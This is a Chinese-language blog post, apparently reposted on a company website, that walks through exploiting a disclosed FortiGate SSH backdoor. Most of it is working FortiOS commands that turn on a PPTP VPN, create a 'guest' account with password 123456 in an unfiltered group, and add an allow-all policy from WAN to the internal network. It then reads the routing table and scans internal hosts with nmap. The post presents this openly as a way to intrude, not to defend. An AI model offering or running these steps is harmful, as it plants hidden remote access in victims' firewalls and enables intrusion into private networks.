邮箱:service@hongdaqianqiu.com
昨天FortiGate爆了一个SSH Backdoor ，具体内容可以看这（http://tools.pwn.ren/2016/01/12/ssh-backdoor-for-fortigate-os-version-4-up-to-5-0-7.html）
那我们如何利用了？如何利用这个SSH 后门进入到内网了？好了这就是这篇文章要讲的东西。
这个后门获取到的是防火墙的root权限，就是所有防火墙的操作我们都可以做，这里我们利用防火墙的
vpn服务来进入到内网中 ，从而进行进一步渗透。
0X00 先看下用户组
|
1
|
show user group
|
0×01开启vpn
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
config vpn pptp
set status enable
set eip 192.168.200.100
set sip 192.168.200.1
set usrgrp Guest-group
end
config user local
edit “guest”
set type password
set passwd 123456
next
end
config user group
edit “Guest-group”
set profile “unfiltered”
set member “guest”
next
end
config firewall policy
edit 9
set srcintf “wan1″
set dstintf “internal”
set srcaddr “all”
set dstaddr “all”
set action accept
set schedule “always”
set service “ANY”
next
end
|
0×02 内网进一步渗透
查看路由表
|
1
|
get router info routing-table all
|
这里已经成功连接上，并使用nmap扫描，这里记得你是防火墙root，所以你想去哪就去哪（蒙多）
【via@安全工具箱 Audit0r】
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式：
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱：service@hongdaqianqiu.com
备案号：粤ICP备15078875号
